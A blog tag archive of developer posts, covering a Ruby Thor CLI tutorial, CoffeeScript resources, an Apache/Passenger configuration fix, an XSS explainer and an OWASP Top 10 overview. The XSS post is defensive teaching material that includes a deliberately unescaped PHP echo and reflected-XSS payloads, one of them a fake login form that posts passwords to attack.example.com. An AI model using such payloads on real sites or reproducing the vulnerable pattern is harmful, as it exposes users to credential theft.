Archive

Tag Archives: application

I had been really lazy to write this blog to finish off the thor application example. So I’ll just go right to the application, it’s nothing complicated. This application intends not to tweet actually in twitter but to demonstrate how thor tasks work.

So where I left from last post add a new folder bin in your application root and create a file tweet. This is going to be our executable file which will allow us to do something like,


tweet post hello

and will print You tweeted: hello.

Put the following in your bin/tweet file,


#!/usr/bin/ruby

require "tweet"

Tweet.start # this registers the thor class as task

Now install build and install the gem by executing ‘rake install’ command in application root. It will install the executable as well. So that’s it, the code can be downloaded from https://github.com/mftaher/Tweet-Thor. You can use it as a basic structure to create your own executable thor tasks.

Note: Before you install or build the gem always commit your git changes.

Ruby is a a wonderful language, you can never stop praising what it lets you do and help you create great applications. To eliminate the need to copy my initial application structure every time I decided to write a scaffolding application in ruby that will give me an initial structure with necessary files in it just like rails generator (I use Sinatra micro web-framework for ruby web development).

I had been researching many options out there to accomplish this and ruby gives you not only wide range of options but also quickest turn around time for a command line application. To name a few the ruby core OptionParser is a powerful class to begin with, there is also Trollop, of course rake and there’s Thor that replaces rake, sake and rubigen.

A great advantage with Thor is, it documents your command line tool as you develop. Thus makes it easy for the developers create several tasks with plenty options and documenting at the same time. So I thought this reason is good enough to build my application using Thor then the others.

Instead of doing a hello world application, I’m going to demonstrate a simple tweeting application using thor. First you’ll need to have a structure of your application you can easily get it by doing:

bundle gem tweet

You will get the default app structure provided by bundle which can be used to publish your own gem. Then create and edit tweet.thor in your project lib diretory:

class Tweet > Thor
  desc "post MESSAGE", "Tweet message in your command line"
  def post(message)
    puts "You tweeted: #{message}"
  end
end

You should be able to see the task list typing `thor -T`.

To make the command available in your terminal, we’ll cover that in next blog post when we will actually post a tweet.

Yes, I’m getting very intoxicated with coffescript as I’m writing this yet another blog on coffeescript. It’s because coffeescript has made my life easier while I’m writing javascript whether applications or libraries or RIA. Here, I’m going to share some useful resources that might help everyone who are interested in learning coffeescript.

First, starting with what is coffeescript and an detailed overview blogged by krawaller, the writer has given a very good overview on coffeescript which I’m sure will help beginners. This article has referenced links that any new beginner can treat as a learning resource.

Second, coffeescript site. http://www.coffeescript.org. it has very good tutorials an online compiler and many more useful code snippets.
Third, a conversion tool js2coffee or coffee2js http://www.js2coffee.org

Enjoy! Coffee!

Switching to Ruby from PHP wasn’t as hard as deploying rails/sinatra app on existing Apache-PHP environment. It should’ve been fairly easy as I choose to do it with Phusion Passenger instead of using Proxy to the rails/sinatra app. But who knew things can get really ugly if I hadn’t tested locally.

Problem Ughhh @#$@%@:

Actually I deployed a rails/sinatra app in production first then was trying to configure in my localhost but then figured out when passenger module is loaded DirectoryIndex index.php isn’t working, meaning index.php of any web application wasn’t recognized by apache by default anymore as before you have to type it in the browser. Digging deeper found out mod_dir is not compatible with phusion passenger offering no fix yet. You might want to check with conflicting apache module with phusion passenger before even trying to install passenger in your existing apache-php environment.

Avoid Catastrophe:

The reason why I did not notice it in my production environment at first because of cache. Once I tried to deploy in my local machine things aren’t working as it was in production. I had to type in index.php to gain access. Checked AddHandler, AddType, DirectoryIndex index.php everything in place and nothing seems to work until I found the conflicting apache modules.

Solution:

There’s a workaround provided by the Passenger team i.e. using PassengerEnabled off. After Passenger module is loaded you can turn it off so that mod_dir can do it’s job setting correct DirectoryIndex, and then enable it where Phusion Passenger is required, preferable inside rails/sinatra app  <Directory> block. If you put it outside it may globally configure which will again make mod_dir not to work. Only when an agent is requesting for the rails/sinatra app it gets turned on for that Directory block and there’s no conflict anymore. A good example is provided at Phusion Passenger Guide. This setting can be done otherway around depending on the number of rails/sinatra and php application you have running in your environment.

Still waiting for something to go wrong just hoping it happens in my local machine ealier.

Local Environment:

Mac OS X Lion 10.7.2 , built in apache2, php5.3.6., rvm 1.10.0, ruby 1.9.2, passenger 3.0.11

Cross-site scripting (XSS) is one of the most prevalent, obstinate, and dangerous vulnerabilities in web applications. It’s pretty much inevitable when you combine the stateless nature of HTTP, the mixture of data and script in HTML, lots of data passing between web sites, diverse encoding schemes, and feature-rich web browsers. If you’re not careful, attackers can inject Javascript or other browser-executable content into a web page that your application generates. Your web page is then accessed by other users, whose browsers execute that malicious script as if it came from you (because, after all, it *did* come from you). Suddenly, your web site is serving code that you didn’t write. The attacker can use a variety of techniques to get the input directly into your server. Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.

2. The web application dynamically generates a web page that contains this untrusted data.

3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.

4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.

5. Since the script comes from a web page that was sent by the web server, the victim’s web browser executes the malicious script in the context of the web server’s domain.

6. This effectively violates the intention of the web browser’s same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

Types of XSS:

Type 1: Reflected XSS (or Non-Persistent)

The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser.

Type 2: Stored XSS (or Persistent)

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content.  For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

Type 3: DOM-Based XSS

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

XSS flaws are very common in web applications since they require a great deal of developer discipline to avoid them. It has following consequences:

Scope Effect
Confidentiality
 Bypass protection mechanism; Read application data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which — when parsed by a web browser — performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

Access Control
 Execute unauthorized code or commands

In some circumstances it may be possible to run arbitrary code on a victim’s computer when cross-site scripting is combined with other flaws.

Confidentiality
Integrity
Availability
 Execute unauthorized code or commands; Bypass protection mechanism; Read application data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running “Active X” controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Likelihood of Exploit: High to Very High

Example:

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

(Bad Code)
Example Language: PHP
$username = $_GET[‘username’];
echo ‘<div> Welcome, ‘ . $username . ‘</div>’;

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(Attack)
 http://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script>

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending his password to the attacker:

(Attack)
 http://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input” action=”http://attack.example.com/stealPassword.php&#8221; method=”post”>Username: <input type=”text” name=”username” /><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user’s browser:

(Result)
 <div> Welcome,
<div id=”stealPassword”>Please Login:
<form name=”input” action=”attack.example.com/stealPassword.php” method=”post”>
Username: <input type=”text” name=”username” />
<br/>
Password: <input type=”password” name=”password” />
<input type=”submit” value=”Login” />
</form>
</div>
</div>

Is your application vulnerable to XSS?

You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques.

Both static and dynamic tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated detection difficult. Therefore, complete coverage requires a combination of manual code review and manual penetration testing, in addition to any automated approaches in use.

Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools which may require manual review.

Now everything is on the web so are cyber crimes. The meteoric rise in web application development has enabled the generation of limitless data which is attracting many intruders or cyber criminals.  The protection of all this data doesn’t only depend on the user end but also at the developers end to develop secure web applications. It is very much developers responsibility to protect user data from intrusion and malicious attacks which may harm users immensely.

Security has never been issue to the developers 5 years back but the sudden growth in web data has started to demand for it. It is essential for developers to learn about security risks and vulnerabilities of web application development. A developer should make it a practice to manage and assess the security risks of their web applications.

The Open Web Application Security Project (OWASP)   is a non-profit world wide charitable organization dedicated towards the security of application software. It is great learning resource for developers community about secure application development. The project provides developers lots of tools to understand risks and vulnerabilities that exists today. It is an open community dedicated to enabling organizations to develop, purchase, and maintain applications that can be trusted.

The OWASP top ten is to raise awarenessabout application security by identifying some of the most critical risks facing organizations. The OWASP Top 10 Web Application Security Risks for 2010 are:

  • A1: Injection
  • A2: Cross-Site Scripting (XSS)
  • A3: Broken Authentication and Session Management
  • A4: Insecure Direct Object References
  • A5: Cross-Site Request Forgery (CSRF)
  • A6: Security Misconfiguration
  • A7: Insecure Cryptographic Storage
  • A8: Failure to Restrict URL Access
  • A9: Insufficient Transport Layer Protection
  • A10: Unvalidated Redirects and Forwards
It is important for all developers to learn about these risks for secure development practice. OWASP is trying to reach out to all the developers in the world. I’ll be explaining each of these attacks in coming blog post.
The primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most important web application security weaknesses. The Top 10 provides basic techniques to protect against these high risk problem areas and also provides guidance on where to go from here.
%d bloggers like this: